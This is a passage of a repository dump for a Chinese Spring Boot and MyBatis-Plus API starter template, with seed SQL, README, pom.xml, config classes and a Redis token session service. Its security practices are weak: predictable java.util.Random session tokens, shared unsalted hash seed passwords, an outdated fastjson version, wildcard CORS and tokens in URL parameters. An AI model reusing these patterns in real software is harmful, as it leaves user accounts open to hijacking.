`user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/springboot-api-session/.gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n"
  },
  {
    "path": "java_project_template/springboot-api-session/README.md",
    "content": "## 简介\nSpring Boot API 是一个基于Spring Boot & MyBatis plus的种子项目，用于快速构建中小型API项目，特点稳定、简单、快速，摆脱那些重复劳动\n\n## 特征&提供\n- 统一响应结果封装及生成工具\n- 统一异常处理\n- 采用redis token认证，支持单登陆端/多登陆端登陆\n- 使用Druid Spring Boot Starter 集成Druid数据库连接池与监控\n- 集成MyBatis-Plus，实现单表业务零SQL\n- 支持多数据源，自由切换，只需方法或类上用 @DS 切换数据源\n- 集成国人风格的knife4j，自动生成接口文档\n- 提供代码生成器，生成controller,service,serviceImpl,dao,mapper.xml\n\n## 快速开始\n1. 克隆项目\n2. 导入```test```包里的mysql脚本user.sql\n3. 对```test```包内的代码生成器```CodeGenerator```进行配置，主要是JDBC，因为要根据表名来生成代码\n4. 输入表名，运行```CodeGenerator.main()```方法，生成基础代码（可能需要刷新项目目录才会出来）\n5. 根据业务在基础代码上进行扩展\n6. 对开发环境配置文件```application-dev.yml```进行配置，启动项目，Have Fun！\n\n## 开发建议\n- post调用接口ip:8080/api/user/login,参数json: {\"username\":\"admin\",\"password\":\"123456\"},调用成功后, 返回token。以后调用api接口，header中传token\n- 已写好注册、登陆、登出、修改密码接口， 支持单登陆端/多登陆端登陆， 具体看UserController.java 类。用户登陆之后获取session信息 JSONObject sessionInfo = httpSession.getCurrentSession();\n- 正式环境已禁用接口文档的查看，配置文件添加knife4j:production: true 即可\n- 是否允许多个登陆端，修改配置文件 redis:allowMultipleLogin:true \n- Model内成员变量建议与表字段数量对应，如需扩展成员变量（比如连表查询）建议创建DTO，否则需在扩展的成员变量上加@TableField(exist = false)，详见[MyBatis-Plus](https://mp.baomidou.com/guide/)文档说明\n- 建议业务失败直接使用ServiceException(\"ErrorMessage\")抛出，由统一异常处理器来封装业务失败的响应结果，会直接被封装为{\"code\":400,\"message\":\"ErrorMessage\"}返回，尽情抛出；body方式传参，@Valid校验Model，更无需自己处理；\n\n## 接口文档效果图\n![image-20200313084433855](http://tuchuang.aitangbao.com.cn/image-20200313084433855.png)\n\n## 相关文档\n- Spring Boot（[springboot官方](https://spring.io/projects/spring-boot/)）\n- MyBatis-Plus ([查看官方中文文档](https://mp.baomidou.com/guide/))\n- MyBatis-Plus分页插件（[查看官方中文文档](https://mp.baomidou.com/guide/page.html)）\n- Druid Spring Boot Starter（[查看官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter/)）\n- Fastjson（[查看官方中文文档](https://github.com/Alibaba/fastjson/wiki/%E9%A6%96%E9%A1%B5)）\n- 阿里巴巴Java开发手册[最新版下载](https://github.com/alibaba/p3c)\n其他\n\n## License\n纯粹开源分享，感谢大家 [Star](https://github.com/aitangbao/springboot-api-v2) 的支持。\n"
  },
  {
    "path": "java_project_template/springboot-api-session/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>springboot-api-session</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <dependencies>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <!--redis依赖配置-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/configurer/LoginInterceptor.java",
    "content": "package com.company.project.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.service.HttpSessionService;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\n/**\n * @author wenbin\n * @since 2019/10/30 15:29\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    @Autowired\n    private HttpSessionService httpSession;\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //用户当前session信息\n        JSONObject currentSession;\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if (StringUtils.isBlank(token)) {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        currentSession = httpSession.getCurrentSession();\n        if (null != currentSession) {\n            return true;\n        } else {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"用户未登陆!\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/configurer/MyBatisPlusConfig.java",
    "content": "package com.company.project.configurer;\n\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/configurer/SwaggerConfiguration.java",
    "content": "package com.company.project.configurer;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/configurer/WebMvcConfigurer.java",
    "content": "package com.company.project.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\", \"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/core/ApplicationContextUtil.java",
    "content": "package com.company.project.core;\n \nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.stereotype.Component;\n \n/**\n * @className: ApplicationContextUtil\n * @Description: 解决定时任务获取不到service的问题\n * @Author moneylee\n * @Date 2019-05-11 14:28\n * @Version 1.0\n **/\n@Component\npublic class ApplicationContextUtil implements ApplicationContextAware {\n \n    private static ApplicationContext applicationContext;\n \n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n \n \n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        ApplicationContextUtil.applicationContext = applicationContext;\n \n    }\n \n    public static Object getBean(String beanName) {\n        return applicationContext.getBean(beanName);\n    }\n \n}"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/core/Result.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/core/ResultGenerator.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/core/ServiceException.java",
    "content": "package com.company.project.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/service/HttpSessionService.java",
    "content": "package com.company.project.service;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.model.User;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Random;\n\n/**\n * session管理器\n *\n * @author aitangbao\n */\n@Service\npublic class HttpSessionService {\n\n    @Autowired\n    private RedisService redisDB;\n\n    @Autowired\n    private HttpServletRequest request;\n\n    @Value(\"${redis.key.prefix.userToken}\")\n    private String USER_TOKEN_PREFIX;\n\n    @Value(\"${redis.key.expire.userToken}\")\n    private int EXPIRE ;\n\n    public String createTokenAndUser(User user) {\n        //方便根据id找到redis的key， 修改密码/退出登陆 方便使用\n        String token = getRandomToken(32) + \"#\" + user.getId();\n        JSONObject sessionInfo = new JSONObject();\n        sessionInfo.put(\"userId\", user.getId());\n        sessionInfo.put(\"username\", user.getUsername());\n        String key = USER_TOKEN_PREFIX + token;\n        //设置该用户已登录的token\n        redisDB.setAndExpire(key, sessionInfo.toJSONString(), EXPIRE);\n        return token;\n    }\n\n    /**\n     * 根据token获取userid\n     *\n     * @param token\n     * @return\n     */\n    public static String getUserIdByToken(String token) {\n        if (StringUtils.isBlank(token) || !token.contains(\"#\")) {\n            return \"\";\n        } else {\n            return token.substring(token.indexOf(\"#\") + 1);\n        }\n    }\n\n    /**\n     * 获取参数中的token\n     *\n     * @return\n     */\n    public String getTokenFromHeader() {\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        return token;\n    }\n\n    /**\n     * 获取当前session信息\n     *\n     * @return\n     */\n    public JSONObject getCurrentSession() {\n        String token = getTokenFromHeader();\n        if (null != token) {\n            if (redisDB.exists(USER_TOKEN_PREFIX + token)) {\n                String sessionInfoStr = redisDB.get(USER_TOKEN_PREFIX + token);\n                JSONObject sessionInfo = JSON.parseObject(sessionInfoStr);\n                return sessionInfo;\n            } else {\n                return null;\n            }\n        } else {\n            return null;\n        }\n    }\n\n\n    /**\n     * 使当前用户的token失效\n     */\n    public void abortUserByToken() {\n        String token = getTokenFromHeader();\n        redisDB.del(USER_TOKEN_PREFIX + token);\n    }\n\n    /**\n     * 使所有用户的token失效\n     */\n    public void abortAllUserByToken() {\n        String token = getTokenFromHeader();\n        String userId = getUserIdByToken(token);\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n    /**\n     * 使用户的token失效\n     */\n    public void abortUserByUserId(Integer userId) {\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n\n    /**\n     * 生成随机的token\n     *\n     * @param length\n     * @return\n     */\n    private String getRandomToken(int length) {\n        Random random = new Random();\n        StringBuilder randomStr = new StringBuilder();\n\n        // 根据length生成相应长度的随机字符串\n        for (int i = 0; i < length; i++) {\n            String charOrNum = random.nextInt(2) % 2 == 0 ? \"char\" : \"num\";\n\n            //输出字母还是数字\n            if (\"char\".equalsIgnoreCase(charOrNum)) {\n                //输出是大写字母还是小写字母\n                int temp = random.nextInt(2) % 2 == 0 ? 65 : 97;\n                randomStr.append((char) (random.nextInt(26) + temp));\n            } else if (\"num\".equalsIgnoreCase(charOrNum)) {\n                randomStr.append(String.valueOf(random.nextInt(10)));\n            }\n        }\n\n        return randomStr.toString();\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/service/IUserService.java",
